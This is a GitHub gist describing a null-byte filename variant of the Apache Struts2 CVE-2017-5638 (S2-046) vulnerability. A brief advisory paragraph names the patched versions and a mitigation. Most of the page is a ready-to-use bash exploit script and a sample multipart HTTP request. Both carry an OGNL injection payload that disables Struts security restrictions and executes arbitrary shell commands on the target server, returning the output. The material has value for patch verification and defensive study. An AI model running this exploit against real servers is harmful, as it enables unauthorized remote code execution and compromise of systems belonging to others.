Skip to content

Instantly share code, notes, and snippets.

@frohoff
Last active August 14, 2020 14:16
Show Gist options
  • Save frohoff/a3e24764561c0c18b6270805140e7600 to your computer and use it in GitHub Desktop.
Save frohoff/a3e24764561c0c18b6270805140e7600 to your computer and use it in GitHub Desktop.
Struts2 Content-Disposition filename null-byte variant of CVE-2017-5638

Struts2 Content-Disposition filename null-byte variant of CVE-2017-5638

Struts2 Security Bulletin S2-046

A null byte (\x00) in a request’s Content-Disposition header filename field can trigger a InvalidFileNameException with the same (client controlled) filename string in the exception message that be used can trigger OGNL evaluation during error handling. Note that this is similar to but distinct from both the original Content-Type vector reported in S2-045 and the Content-Length/Content-Disposition variant also mentioned in S2-046.

All the above variants are already fixed by the patches in Struts2 versions 2.3.32 and 2.5.10.1, and projects may alternatively use struts-extras to do mitigation in-place without upgrading, but note that previous Content-Type-focused WAF/LB countermeasures may not protect against these alternative vectors.

sh exploit-cd.sh [url] [command] [[add'l curl args]]

#!/bin/bash
url=$1
cmd=$2
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
POST / HTTP/1.1
Host: localhost:8080
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
Content-Length: 5000
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="foo"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b"
Content-Type: text/plain
x
-----------------------------735323031399963166993862150--
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment